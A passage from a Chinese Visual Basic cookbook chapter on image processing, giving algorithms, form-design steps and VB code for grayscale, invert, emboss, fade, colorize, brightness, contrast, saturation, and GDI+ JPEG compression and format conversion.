        '将当前点颜色值赋给变量
            R = ColOut(0, X, Y)
            G = ColOut(1, X, Y)
            B = ColOut(2, X, Y)
            '计算周围坐标颜色之和
            RR = CLng(ColOut(0, X + 1, Y + 1)) + ColOut(0, X, Y + 1) + ColOut(0, X + 1, Y) + _
ColOut(0, X + 1, Y - 1) + ColOut(0, X, Y - 1) + ColOut(0, X - 1, Y - 1) + _
ColOut(0, X - 1, Y) + ColOut(0, X - 1, Y + 1)
            GG = CLng(ColOut(1, X + 1, Y + 1)) + ColOut(1, X, Y + 1) + ColOut(1, X + 1, Y) + _
ColOut(1, X + 1, Y - 1) + ColOut(1, X, Y - 1) + ColOut(1, X - 1, Y - 1) + _
ColOut(1, X - 1, Y) + ColOut(1, X - 1, Y + 1)
            BB = CLng(ColOut(2, X + 1, Y + 1)) + ColOut(2, X, Y + 1) + ColOut(2, X + 1, Y) + _
ColOut(2, X + 1, Y - 1) + ColOut(2, X, Y - 1) + ColOut(2, X - 1, Y - 1) + _
ColOut(2, X - 1, Y) + ColOut(2, X - 1, Y + 1)
'计算柔化后颜色值
            R = (R * D1 + RR) / D2
            G = (G * D1 + GG) / D2
            B = (B * D1 + BB) / D2
            '判断颜色值是否超出范围
            If R < 0 Then R = 0
            If R > 255 Then R = 255
            If G < 0 Then G = 0
            If G > 255 Then G = 255
            If B < 0 Then B = 0
            If B > 255 Then B = 255
            '将颜色值赋给数组变量
            ColOut(0, X, Y) = R
            ColOut(1, X, Y) = G
            ColOut(2, X, Y) = B
        Next
    Next
    Exit Sub
Err1:
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟562：在容器控件中控件的位置。

在容器控件中控件的坐标是相对于容器控件来说的。容器的左上顶点是容器中控件的（0,0）坐标。其度量单位由容器控件的ScaleMode属性决定。



 实例563　图像灰度效果

光盘位置：光盘\MR\19\563

中级

趣味指数：[image: ]




实例说明

在早期的电影或是照片中，图像都是以黑白效果显示的，所以在彩色图像充斥的今天，黑白的影像往往被人们用来作为一种年代久远的象征。使人产生怀旧的感情的同时，也带来了一种彩色无法表现的艺术美感，程序的运行效果如图19.19所示。

[image: ]
图19.19　图像灰度效果



关键技术

大家知道，当一个点的颜色红绿蓝值都为最大值即255时，显示的颜色为白色；当红绿蓝都为最小值即0时，显示的颜色为黑色。那么一个像素将其红绿蓝3个颜色的分量值求平均值得到的就是该点的灰度值。这里将一幅图以灰色显示，就是将图片中的所有点以灰度显示出来，就是上面我们说的黑白的效果。

先来回忆一下RGB色彩空间的几何表示，R、G、B分别对应于三维坐标系中的3个坐标轴，当R、G、B值都为0时，即坐标原点位置，表示的是黑色；当R、G、B对应的数值都取最大值时表示白色。在原点与R、G、B最大值点之间的连线，表示色彩的灰度级。在这条线上R、G、B 3个分量值相等，这条线上显示的颜色在黑白之间变化，即越接近原点处，灰度越大，颜色越深；越接近最大值处，颜色越浅，越接近白色。

其算法如下：

R=G=B=(R+G+B)/3

设计过程

（1）新建一个VB工程，将窗体的Caption属性设置为“图像灰度效果”。

（2）在窗体上添加3个PictureBox控件，Picture1添加一幅图片，用作灰度处理的图片。Picture3用来显示得到的灰度处理后的图像。设置这3个PictureBox控件的ScaleMode属性值为3-Pixel。

（3）在窗体上添加一个CommandButton控件，设置Caption属性为“显示”。

（4）主要程序代码如下：



Public Sub gray(Optional ByVal Hue As Single = 1)
    Dim X As Long
    Dim Y As Long
    Dim L As Single
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    For X = 0 To OutPutWid - 1
        For Y = 0 To OutPutHei - 1
            L = (CLng(ColOut(0, X, Y)) + ColOut(1, X, Y) + ColOut(2, X, Y)) / 3  '计算平均值
            R = L                            '为红绿蓝复制
            G = L
            B = L
            If R < 0 Then R = 0                    '判断颜色值是否超出范围
            If R > 255 Then R = 255
            If G < 0 Then G = 0
            If G > 255 Then G = 255
            If B < 0 Then B = 0
            If B > 255 Then B = 255
            ColOut(0, X, Y) = R
            ColOut(1, X, Y) = G
            ColOut(2, X, Y) = B
        Next
    Next
    Done = True
    Exit Sub
Err1:
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟563：优化显示速度。

在图片处理设计过程中，图片显示的速度决定了应用程序的感觉速度，所以在进行图片处理时要重点考虑图像的显示速度问题。总结出下面几点经验，以提高图片显示速度。

（1）在进行循环处理时尽量将能够放到循环外面的计算在循环外面进行计算。

（2）加减运算要比乘除运算节省时间。

（3）尽量精简循环语句中的代码，因为对于一个有几百万像素的图片就要循环几百万次，如果少一条代码，就能节省很多时间。



 实例564　图像反色处理

光盘位置：光盘\MR\19\564

中级

趣味指数：[image: ]




实例说明

图片反色处理即将图片中的颜色取相反的值，例如，将图片中原来白色的部分全部用黑色来取代。本实例演示的即图片反色处理的效果。运行程序，单击“反转”按钮，系统将对“反转前颜色”图片框中的图片进行反色处理，并显示在“反转后颜色”图片框中，效果如图19.20所示。

[image: ]
图19.20　图像反色效果



关键技术

利用PictureBox控件的PaintPicture方法来实现图像反色处理的效果。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个Frame控件，默认“名称”属性为Frame1和Frame2，分别设置Caption属性为“反转前颜色”和“反转后颜色”。

（3）分别在Frame1控件和Frame2控件上各添加一个PictureBox控件。

（4）在窗体上添加两个CommandButton控件，名称取默认值，分别设置Caption属性为“反转”和“取消”。

（5）主要程序代码如下：



Private Sub Command1_Click()
   Picture2.Cls
   Picture2.PaintPicture Picture1.Picture, 0, 0, , , 0, 0, , , &H660046
End Sub




秘笈心法

心法领悟564：使用PaintPicture方法缩小图片。

使用PaintPicture方法可以实现在图像框上绘制图像，可以通过设置参数实现将原图片缩小后绘制在目标图像框上，能够轻松达到缩小图片的功能。



 实例565　图像浮雕效果

光盘位置：光盘\MR\19\565

中级

趣味指数：[image: ]




实例说明

在公园、博物馆中经常可以看到一些浮雕的装饰，浮雕效果就是使图像产生雕刻感，类似于一些纪念碑的雕刻。浮雕效果使图像从背景上突出，增强了图像的立体感。本程序实现显示图像的浮雕效果，程序的运行效果如图19.21所示。

[image: ]
图19.21　浮雕效果



关键技术

浮雕效果的实现比较简单，只是把图像上的像素与其相邻的一个点进行求差运算，得到的值再加上127或是128（灰度值），然后将其作为当前点的像素值即可。例如，可进行如下计算得到A点的像素值，其中B为A的邻近点。

A=Abs((B-A)*Ratio+127)

其中，Ratio为雕刻深度，改变这个值可以实现不同的雕刻程度。这里使用的是当前坐标（x,y）的下方的坐标（x,y+1）与当前坐标进行差值计算的。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个Frame控件，默认“名称”属性为Frame1和Frame2，分别设置Caption属性为“原图像”和“浮雕效果”。

（3）分别在Frame1控件和Frame2控件上各添加一个PictureBox控件。

（4）在窗体上添加两个CommandButton控件，名称取默认值，分别设置Caption属性为“浮雕效果”和 “退出”。

（5）主要程序代码如下：



Public Sub Emboss(Optional ByVal Level As Single = 50)
    Dim X As Long
    Dim Y As Long
    Dim d1 As Single
    Dim R1 As Long, G1 As Long, B1 As Long
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    d1 = Level / 100
    For X = 0 To OutPutWid - 1
        For Y = 0 To OutPutHei - 1
            '将当前颜色值赋给变量
            R = ColOut(0, X, Y)
            G = ColOut(1, X, Y)
            B = ColOut(2, X, Y)
            '将下一坐标点颜色值赋给变量
            R1 = ColOut(0, X, Y + 1)
            G1 = ColOut(1, X, Y + 1)
            B1 = ColOut(2, X, Y + 1)
            '计算浮雕效果的当前点坐标颜色值
            R = Abs((R1 - R) * d1 + 127)
            G = Abs((G1 - G) * d1 + 127)
            B = Abs((B1 - B) * d1 + 127)
            '判断颜色值是否超出范围
            If R < 0 Then R = 0
            If R > 255 Then R = 255
            If G < 0 Then G = 0
            If G > 255 Then G = 255
            If B < 0 Then B = 0
            If B > 255 Then B = 255
                '将获取的颜色值赋给输出数组
            ColOut(0, X, Y) = R
            ColOut(1, X, Y) = G
            ColOut(2, X, Y) = B
        Next
    Next
    Done = True
    Exit Sub
Err1:
    Done = True
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟565：不同像素值的实现。

反色效果的实现在于改变自身RGB色彩分量的数值，而雕刻效果的点运算是通过自身像素和周围像素之间的值进行某种关系的运算实现的。也就是说，通过周围像素和自身像素值进行不同的算法运算可以得到不同的滤镜效果，这也是学习本实例大家应该思考的问题。



 实例566　图像明暗效果的改变

光盘位置：光盘\MR\19\566

高级

趣味指数：[image: ]




实例说明

本实例演示的是自动改变窗体中图片明暗度的效果。运行程序，窗体上的图片将演示忽明忽暗的效果，并且每演示一次明暗的效果就更换一张图片，呈现出幻灯片的效果。单击“快速改变”按钮可以快速改变图片的明暗度，效果如图19.22所示。

[image: ]
图19.22　图像明暗效果的改变



关键技术

在窗体的Paint事件下调用InvalidateRect、DrawText等API函数来实现改变图片明暗度的效果。

（1）InvalidateRect函数

该函数用于屏蔽一个窗口客户区的全部区域，会导致窗口在事件期间部分重画，语法如下：



Private Declare Function InvalidateRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT, ByVal bErase As Long) As Long




参数说明

❶hWnd：待屏蔽窗口的句柄。

❷lpRect：用于描述待屏蔽矩形部分的一个矩形结构。

❸bErase：True（非0）导致指定的区域在重画前先删除。

（2）DrawText函数

该函数用于将文本描绘到指定的矩形中，语法如下：



Private Declare Function DrawText Lib "user32" Alias "DrawTextA" (ByVal hdc As Long, ByVal lpStr As String, ByVal nCount As Long, lpRect As RECT, ByVal wFormat As Long) As Long




参数说明如表19.2所示。

表19.2 DrawText函数的参数说明



	参数
	说明



	hdc
	欲在其中显示文字的一个设备场景的句柄



	lpStr
	欲描绘的文本字符串



	nCount
	欲描绘的字符数量



	lpRect
	指定用于绘图的一个格式化矩形



	wFormat
	一个标志位数组，决定了以何种形式执行绘图





注意：
 本实例中除了应用InvalidateRect和DrawText两个重要的API函数之外，还应用了其他一些API函数，这里就不作介绍了。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）选择“工程”/“添加类模块”命令，在工程中添加两个类模块，设置“名称”属性分别为Asm和CDIB。

（3）在窗体中添加一个TextBox控件[image: ]
 ，设置其Enable属性为False。

（4）在窗体上添加一个CheckBox控件[image: ]
 ，设置其Caption属性为“快速改变”，Style属性为1-Graphical。

（5）主要程序代码如下：



Private Sub Form_Load()
    On Error Resume Next
    On Error GoTo E
    Set DIB = New CDIB
    DIB.Clone
    Set DIBsrc = New CDIB
    Set Asm = New Asm
    lFader = 4
    lDelta = -4
    Show
    Refresh
Q:
    Exit Sub
E:
    MsgBox Error, vbCritical
    Unload Me
    Debug.Assert 0
    Resume Q
    Resume
End Sub
Private Sub Form_Paint()
    lFader = lFader + lDelta
    If lFader > 255& - lDelta Then
        lDelta = -lDelta
    ElseIf lFader < -lDelta Then
        If curFile = "" Then curFile = Dir$(App.Path & "\*.jpg")                '显示的图像路径
        DIBsrc.Clone LoadPicture(App.Path & "\" & curFile)                '加载图像
        curFile = Dir$
        SetBkMode DIB.hdc, 1
        SetTextColor DIB.hdc, vbWhite
        lDelta = -lDelta
        tm = timeGetTime + 1000
        fCount = 0
    End If
    Asm.XFade DIBsrc.lpRGB, DIB.lpRGB, DIB.RGBSize, lFader
    rcSS.Top = rcSS.Top - 1
    DrawText DIB.hdc, SS, -1, rcSS, &H900
    DIB.Paint hdc, 0, 25
    Dim rc As RECT: rc.Right = 1: rc.Bottom = 1
    fCount = fCount + 1
    If timeGetTime > tm Then
        DoEvents
        Text1 = fCount & " FPS": Text1.Refresh
        tm = timeGetTime + 1000
        fCount = 0
        If rcSS.Top < -2600 Then rcSS.Top = 430
    End If
    InvalidateRect hWnd, rc, False
End Sub




秘笈心法

心法领悟566：RGB颜色值受系统限制。

使用RGB函数设置颜色受系统限制，如果系统只能显示16色，那么RGB函数就不能设置出更多的颜色。



 实例567　图像色彩转换

光盘位置：光盘\MR\19\567

中级

趣味指数：



实例说明

将图片转换为单一色彩的图像可以增加图像的艺术性，获取一个单一颜色的图像实际上就是将图像上所有像素点颜色都转换为同一色系，图19.23为本程序实现的两种色彩转换效果。



	[image: ]

	[image: ]





图19.23　图像色彩变换

关键技术

获取一个单一颜色的图像实际上就是将图像上所有像素点颜色都转换为同一色系。求出像素RGB分量的平均值，然后根据给定的色系计算出当前的像素值即可。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个Frame控件，默认“名称”属性为Frame1和Frame2，分别设置Caption属性为“原图像”和“转换后图像”。

（3）分别在Frame1控件和Frame2控件上各添加一个PictureBox控件。

（4）在窗体上添加两个CommandButton控件，名称取默认值，分别设置Caption属性为“获取”和“退出”。

（5）选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Windows Common Control 6.0复选框，将需要的控件添加到工具箱中。在工具箱中选择Slider控件，将其添加到窗体上，设置其Max属性值 为100。

（6）colorize自定义函数用于实现图像的色彩变换，代码如下：



Public Sub colorize(Optional ByVal Hue As Single = 1)
    Dim X As Long
    Dim Y As Long
    Dim H As Single
    Dim L As Single, S As Single
    Dim lum As Single
    Dim rR As Single, GG As Single, BB As Single
    Dim Min As Single, Max As Single
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    S = 0.5
    lum = 1
    For X = 0 To OutPutWid - 1
        For Y = 0 To OutPutHei - 1
            L = (CLng(ColOut(0, X, Y)) + ColOut(1, X, Y) + ColOut(2, X, Y)) / 765
            L = L * lum
            If (L <= 0.5) Then
                '-- S = (Max - Min) / (Max + Min)
                Min = L * (1 - S)
            Else
                '-- S = (Max - Min) / (2 - Max - Min)
                Min = L - S * (1 - L)
            End If
            Max = 2 * L - Min
            If (Hue < 1) Then
                rR = Max 
                If (Hue < 0) Then
                    GG = Min
                    BB = GG - Hue * (Max - Min)
                Else
                    BB = Min
                    GG = Hue * (Max - Min) + BB
                End If
            ElseIf (Hue < 3) Then
                GG = Max
                If (Hue < 2) Then
                    BB = Min
                    rR = BB - (Hue - 2) * (Max - Min)
                Else
                    rR = Min
                    BB = (Hue - 2) * (Max - Min) + rR
                End If
            Else
                BB = Max
                If (Hue < 4) Then
                    rR = Min
                    GG = rR - (Hue - 4) * (Max - Min)
                Else
                    GG = Min
                    rR = (Hue - 4) * (Max - Min) + GG
                End If
            End If
            R = rR * 255
            G = GG * 255
            B = BB * 255
            If R < 0 Then R = 0
            If R > 255 Then R = 255
            If G < 0 Then G = 0
            If G > 255 Then G = 255
            If B < 0 Then B = 0
            If B > 255 Then B = 255
            ColOut(0, X, Y) = R
            ColOut(1, X, Y) = G
            ColOut(2, X, Y) = B
        Next
    Next
    Done = True
    Exit Sub
Err1:
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟567：调整重叠的PictureBox控件的顺序。

使用PictureBox控件的ZOrde方法可以调整重叠控件的顺序。当参数设置为0，表示在最前面，设置为1，表示在最后面。



 实例568　图像亮度对比度改变

光盘位置：光盘\MR\19\568

中级

趣味指数：[image: ]




实例说明

亮度和对比度是图片设置中经常使用的处理方法，调整图片的亮度和对比度可以改善图片显示效果。提高或降低亮度能够使整幅图片的所有颜色提高或降低；一般来说，对比度越大，图像越清晰醒目，色彩也越鲜明，对比度小图像会显得比较灰暗，程序的运行效果如图19.24所示。

[image: ]
图19.24　图像亮度和对比度调整



关键技术

1．亮度算法

亮度同前面的算法一样，也是对像素点的R、G、B值进行计算得到新的像素值，图像的亮度是通过改变红、绿、蓝颜色分量的增量来实现的。图像亮度的算法如下所示：

R=R*lev

G=G*lev

B=B*lev

其中，lev是亮度值，其值越大图像亮度越大。因为图像的R、G、B颜色值最大为255，所以在计算时要注意判断颜色值的最大值不能超过255，最小值不能小于0。图像最亮为白色，最暗为黑色。

2．对比度算法

图像对比度算法如下所示：

R=128+(R-128)*lev

G=128+(G-128)*lev

B=128+(B-128)*lev

其中，128为中间值（即灰度值，也可为127），lev为对比度值，lev值越大，对比度程度越大。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个Frame控件，默认“名称”属性为Frame1和Frame2，分别设置Caption属性为“原图像”和“转换后图像”。再添加一个Frame控件，设置Caption属性为空，使其显示一个闭合的区域。

（3）分别在Frame1控件和Frame2控件上各添加PictureBox控件。

（4）在窗体上添加两个CommandButton控件，名称取默认值，分别设置Caption属性为“保存”和“退出”。

（5）选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Windows Common Control 6.0复选框，将需要的控件添加到工具箱中。在工具箱中选择Slider控件，将其添加到窗体上，设置其Max属性值 为100。

（6）本实例中实现亮度和对比度算法的代码如下：



'亮度
Public Sub brightness(Optional ByVal Level As Single = 3)
    Dim X As Long
    Dim Y As Long
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
        If Level <> 0 Then Level = Level / 2
    For X = 0 To OutPutWid - 1
        For Y = 0 To OutPutHei – 1
            '根据亮度值计算当前点颜色值
            R = ColOut(0, X, Y) * Level
            G = ColOut(1, X, Y) * Level
            B = ColOut(2, X, Y) * Level
            '判断颜色值是否超出范围
            If R < 0 Then R = 0
            If R > 255 Then R = 255
            If G < 0 Then G = 0
            If G > 255 Then G = 255
            If B < 0 Then B = 0
            If B > 255 Then B = 255
            '将计算的颜色值赋给输出数组
            ColOut(0, X, Y) = R
            ColOut(1, X, Y) = G
            ColOut(2, X, Y) = B
        Next
    Next
    Exit Sub
ErrLine:
    Done = True
    MsgBox Err.Description
End Sub
'*************************************************************************
'对比度
Public Sub Contrast(Optional ByVal Level As Single = 3)
    Dim X As Long
    Dim Y As Long
    Dim d1 As Single
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    If Level <> 0 Then Level = Level / 2
    d1 = 128 * (1 - Level)
    For X = 0 To OutPutWid - 1
        For Y = 0 To OutPutHei – 1
            '根据对比度计算当前点颜色值
            R = ColOut(0, X, Y) * Level + d1
            G = ColOut(1, X, Y) * Level + d1
            B = ColOut(2, X, Y) * Level + d1
            '判断颜色值是否超出范围
            If R < 0 Then R = 0
            If R > 255 Then R = 255
            If G < 0 Then G = 0
            If G > 255 Then G = 255
            If B < 0 Then B = 0
            If B > 255 Then B = 255
            '将获得的颜色值赋给输出数组
            ColOut(0, X, Y) = R
            ColOut(1, X, Y) = G
            ColOut(2, X, Y) = B
        Next
    Next
    Exit Sub
Err1:
    Done = True
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟568：使用资源文件保存图像能够提高图像处理速度。

如果是对固定的图像进行操作，可以在设计时使用资源文件，将图像保存到资源文件中，在进行代码设计时使用LoadResPicture来调用图片，这样可以提高图像处理速度。



 实例569　图像饱和度改变

光盘位置：光盘\MR\19\569

中级

趣味指数：[image: ]




实例说明

饱和度调整也是图像处理中经常用到的操作。改变图像饱和度能够调整图像的亮度和颜色的纯度，还能够起到改善图像显示效果的作用。本程序实现对图像的饱和度进行调整，程序的运行效果如图19.25所示。

关键技术

下面介绍实现图像饱和度效果的算法。


	B=B+lev * (B - v)

	G=G+lev * (G - v)

	R=R+lev * (R - v)



其中，lev为饱和度值，v为R、G、B值的平均值。

[image: ]
图19.25　图像饱和度调整



设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加两个Frame控件，默认“名称”属性为Frame1和Frame2，分别设置Caption属性为“原图像”和“转换后图像”。再添加一个Frame控件，设置Caption属性为空，使其显示一个闭合的区域。

（3）分别在Frame1控件和Frame2控件上各添加PictureBox控件。

（4）在窗体上添加两个CommandButton控件，名称取默认值，分别设置Caption属性为“保存”和“退出”。

（5）选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Windows Common Control 6.0复选框，将需要的控件添加到工具箱中。在工具箱中选择Slider控件，将其添加到窗体上，设置其Max属性值 为100。

（6）主要程序代码如下：



'饱和度
Public Sub Saturation(Optional ByVal Level As Single = 3)
    Dim X As Long
    Dim Y As Long
    Dim v As Long
    Dim Spd(765) As Long
    On Error GoTo Err1
    OutPutWid = InPutWid
    OutPutHei = InPutHei
    Done = False
    For X = 0 To 765
        Spd(X) = X \ 3
    Next X
    For X = 0 To OutPutWid - 1
        For Y = 0 To OutPutHei - 1
            '获取当前点颜色值
            R = ColOut(0, X, Y)
            G = ColOut(1, X, Y)
            B = ColOut(2, X, Y)
            v = Spd(B + G + R)                              '计算当前红、蓝、绿颜色平均值
            '根据饱和度计算当前点颜色值
            B = B + Level * (B - v)
            G = G + Level * (G - v)
            R = R + Level * (R - v)
            '判断颜色值是否超出范围
            If R < 0 Then R = 0
            If R > 255 Then R = 255
            If G < 0 Then G = 0
            If G > 255 Then G = 255
            If B < 0 Then B = 0
            If B > 255 Then B = 255
            '将计算获得的颜色值赋给输出变量
            ColOut(0, X, Y) = R
            ColOut(1, X, Y) = G
            ColOut(2, X, Y) = B
        Next
    Next
    Exit Sub
Err1:
    Done = True
    MsgBox Err.Description
End Sub




秘笈心法

心法领悟569：使用Picture属性不当会出现系统错误。

笔者在进行程序设计时，曾出现为一幅图像的Picture属性赋值而引起系统错误，造成整个工程的异常退出。这是一个Win32系统错误，经调试发现当在主窗体打开另一个窗体时，使用了窗体调用语句“Frm_turn.Show”后，并没有退出当前窗体，因此在Frm_turn窗体加载完成后继续执行了主窗体调用语句后面的语句“Picture1. Picture = Picture2.Image”在此状态下赋值产生了系统错误，当删除此语句后，程序正常执行。


 19.4　其他图像处理操作



 实例570　图像压缩处理

光盘位置：光盘\MR\19\570

高级

趣味指数：[image: ]




实例说明

网络高速发展的今天，大量的图像数据在网络上传递，如果不对图像进行压缩，将对计算机存储空间和网络造成严重的负荷。图像的压缩变成了迫不及待要解决的问题，所以当前图像编码压缩技术成了比较热门的图像处理技术。图像编码压缩无非是要在保证图像质量的基础上尽可能地减少图像存储所占用的磁盘空间。本实例实现使用GDI+技术实现图像的压缩处理，程序的运行效果如图19.26所示。

[image: ]
图19.26　图片无损压缩程序界面



图19.27为压缩之前的图像效果，图像大小为169KB。图19.28为压缩后的效果，图像大小为5.3KB。可以看出，图像的存储空间减小了很多，但是图像的质量却没有太大的变化，压缩后的图像依然很清晰，与压缩之前几乎没有什么区别。
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	图19.27　图像压缩前效果
	图19.28　图像压缩后效果




关键技术

本实例用到的主要GDI+函数介绍如下：

（1）GdiplusStartup函数

在使用GDI+函数进行图像操作时，此函数最先被调用，用于初始化GDI+。当结束使用GDI+时，调用GdiplusShutdown函数来结束调用。GdiplusStartup函数的声明语句如下：



Public Declare Function GdiplusStartup Lib "GDIPlus" (token As Long, inputbuf As GdiplusStartupInput, Optional ByVal outputbuf As Long = 0) As Long




参数说明

❶token：指向一个接收token值的ULONG。当结束使用GDI+时将这个token传送给GdiplusShutdown。

❷inputbuf：指向一个包含GDI+描述GdiplusStartupInput结构的数据，包含一个调试回调函数指针，一个指示是否禁用后台线程布尔值和一个指示是否禁用外部图像编解码器的布尔值的GdiplusStartupInput结构。

❸outputbuf：指向一个接收通知钩子函数的指针和一个通知解除钩子函数的指针。如果输入参数中禁用后台线程数据成员（即SuppressBackgroundThread）值为False，这个参数（output）可以设置为Null。

（2）GdiplusShutdown函数

该函数用于结束对GDI+的调用，语法如下：



  Public Declare Function GdiplusShutdown Lib "GDIPlus" (ByVal token As Long) As Long




参数说明

token：指向一个接收token值的ULONG。当初始化GDI+时设置这个值，当结束使用GDI+时，将这个token传送给GdiplusShutdown。

（3）GdipSaveImage函数

该函数用于保存图像到一个文件，语法如下：



  Public Declare Function GdipSaveImageToFile Lib "GDIPlus" (ByVal Image As Long, ByVal FileName As Long, clsidEncoder As Guid, encoderParams As Any) As Long




参数说明如表19.3所示。

表19.3 GdipSaveImage函数的参数说明



	参数
	说明



	Image
	创建的GDI+图像



	FileName
	要保存的图像位置



	clsidEncoder
	图像编码器的CLSID



	encoderParams
	用于设置保存图片的质量




（4）CLSIDFromString函数

该函数用于转换由StringFromCLSID函数生成的字符串到原来的CLSID，语法如下：



  Public Declare Function CLSIDFromString Lib "ole32" (ByVal Str As Long, id As Guid) As Long




参数说明

❶Str：描述CLSID的字符串。

❷id：返回CLSID。

CLSID是ClassID的简称，它用于标识COM组件。每个COM组件在Windows注册表中都保存了自己的CLSID，以便让其他应用程序加载，这里就需要获得编码器的CLSID。

（5）CopyMemory函数

该函数用于将一块内存的数据从一个位置复制到另一个位置，语法如下：



  Public Declare Function CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Dest As Any, Src As Any, ByVal cb As Long) As Long




参数说明

❶Dest：要复制内存块的目的地址。

❷Src：要复制内存块的源地址。

❸cb：指定要复制内存块的大小，单位为字节。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加一个Frame控件，设置Caption属性为空，使其显示一个闭合的区域。

（3）在Frame控件上添加两个标签控件、两个文本框和两个命令按钮。

（4）在窗体上添加一个标签控件、一个组合框和一个命令按钮。

（5）自定义函数impressPic能够实现对指定图像的压缩，这里使用的是GDI+函数实现图像的压缩，代码如下：



Public Sub impressPic(ByVal pic As StdPicture, ByVal filename As String, _
                      Optional ByVal Quality As Byte)
    Screen.MousePointer = vbHourglass
    Dim gPSI     As GdiplusStartupInput
    Dim Res     As Long
    Dim lGDIP     As Long
    Dim lBitmap     As Long
    Dim aInParams()     As Byte
    '    On Error GoTo ErrLine:
    gPSI.GdiplusVersion = 1                                                   '初始化GDI+
    Res = GdiplusStartup(lGDIP, gPSI)
    If Res = 0 Then                                                           '从句柄创建GDI+图像
        Res = GdipCreateBitmapFromHBITMAP(pic.Handle, 0, lBitmap)
        If Res = 0 Then
            Dim tJpgEncoder     As Guid
            Dim tParams     As EncoderParameters                                   '初始化解码器的GUID标识
            CLSIDFromString StrPtr("{557CF401-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder
            tParams.count = 1                                                      '设置解码器参数
            With tParams.Parameter     '   Quality
                CLSIDFromString StrPtr("{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"), .Guid     '得到Quality参数的GUID标识
                .NumberOfValues = 1
                .type = 4
                .Value = VarPtr(Quality)
            End With
            ReDim aInParams(1 To Len(tParams))
            Call CopyMemory(aInParams(1), tParams, Len(tParams))
            Res = GdipSaveImageToFile(lBitmap, StrPtr(filename), tJpgEncoder, aInParams(1))         '保存图像
            GdipDisposeImage lBitmap                                                '销毁GDI+图像
        End If
        GdiplusShutdown lGDIP                                                       '销毁GDI+     '
    End If
    Screen.MousePointer = 0
    Erase aInParams
End Sub




秘笈心法

心法领悟570：使用StdPicture对象创建Picture对象。

不能这样来创建一个Picture对象：Dim X As New Picture。如果需要创建一个Picture对象，就必须利用 StdPicture对象，例如，下面代码：



Dim X As New StdPicture






 实例571　图像格式转换

光盘位置：光盘\MR\19\571

高级

趣味指数：[image: ]




实例说明

图像格式转换是当前比较热门的技术，无论在工程应用中还是在学术理论中都是热门的研究领域。本实例使用GDI+的相关函数实现图像格式的转换，运行界面如图19.29所示。

[image: ]
图19.29　图片格式转换运行界面



关键技术

本实例通过使用GDI+实现图像的格式转换，GDI+中的位图对象功能非常强大，它不仅可以显示位图文件，还可以显示GIF、PNG等图像。本程序中应用到的GDI+中的函数声明如下：



Public Declare Function GdiplusStartup Lib "GDIPlus" (token As Long, inputbuf As GdiplusStartupInput, Optional ByVal outputbuf As Long = 0) As Long
  Public Declare Function GdiplusShutdown Lib "GDIPlus" (ByVal token As Long) As Long
  Public Declare Function GdipCreateBitmapFromHBITMAP Lib "GDIPlus" (ByVal hbm As Long, ByVal hPal As Long, BITMAP As Long) As Long
  Public Declare Function GdipDisposeImage Lib "GDIPlus" (ByVal Image As Long) As Long
  Public Declare Function GdipSaveImageToFile Lib "GDIPlus" (ByVal Image As Long, ByVal FileName As Long, clsidEncoder As Guid, encoderParams As Any) As Long




设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体中添加一个Frame控件，设置Caption属性为空，使其显示一个闭合的区域。

（3）在Frame控件上添加一个标签控件、一个组合框和两个命令按钮。组合框的List属性中添加图像转换的几种格式。将命令按钮的Caption属性分别设置为“打开图片”和“转换”。

（4）在窗体上添加一个PictureBox控件，命名为Picframe，用作容器控件。在Picframe上添加一个PictureBox控件，用于显示打开的图像和转换格式后的图像。

（5）SwitchPic自定义过程用于对给定的图像进行格式转换，程序代码如下：



Public Sub SwitchPic(ByVal pic As StdPicture, ByVal FileName As String, PicType As String, _
                      Optional ByVal Quality As Byte = 80)
    Screen.MousePointer = vbHourglass
    Dim gPSI     As GdiplusStartupInput
    Dim Res     As Long
    Dim lGDIP     As Long
    Dim lBitmap     As Long
    Dim aInParams()     As Byte
    On Error GoTo ErrLine:
    gPSI.GdiplusVersion = 1           '初始化GDI+
    Res = GdiplusStartup(lGDIP, gPSI)
    If Res = 0 Then                   '从句柄创建GDI+图像
        Res = GdipCreateBitmapFromHBITMAP(pic.Handle, 0, lBitmap)
        If Res = 0 Then
            Dim tJpgEncoder     As Guid
            Dim tParams     As EncoderParameters           '初始化解码器的GUID标识
            Select Case LCase(PicType)
            Case ".jpg"
                CLSIDFromString StrPtr("{557CF401-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder
                tParams.count = 1          '设置解码器参数
                With tParams.Parameter     'Quality
                    CLSIDFromString StrPtr("{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"), .Guid    '得到Quality参数的GUID标识
                    .NumberOfValues = 1
                    .type = 4
                    .Value = VarPtr(Quality)
                End With
                ReDim aInParams(1 To Len(tParams))
                Call CopyMemory(aInParams(1), tParams, Len(tParams))
            Case ".png"
                CLSIDFromString StrPtr("{557CF406-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder
                ReDim aInParams(1 To Len(tParams))
            Case ".gif"
                CLSIDFromString StrPtr("{557CF402-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder
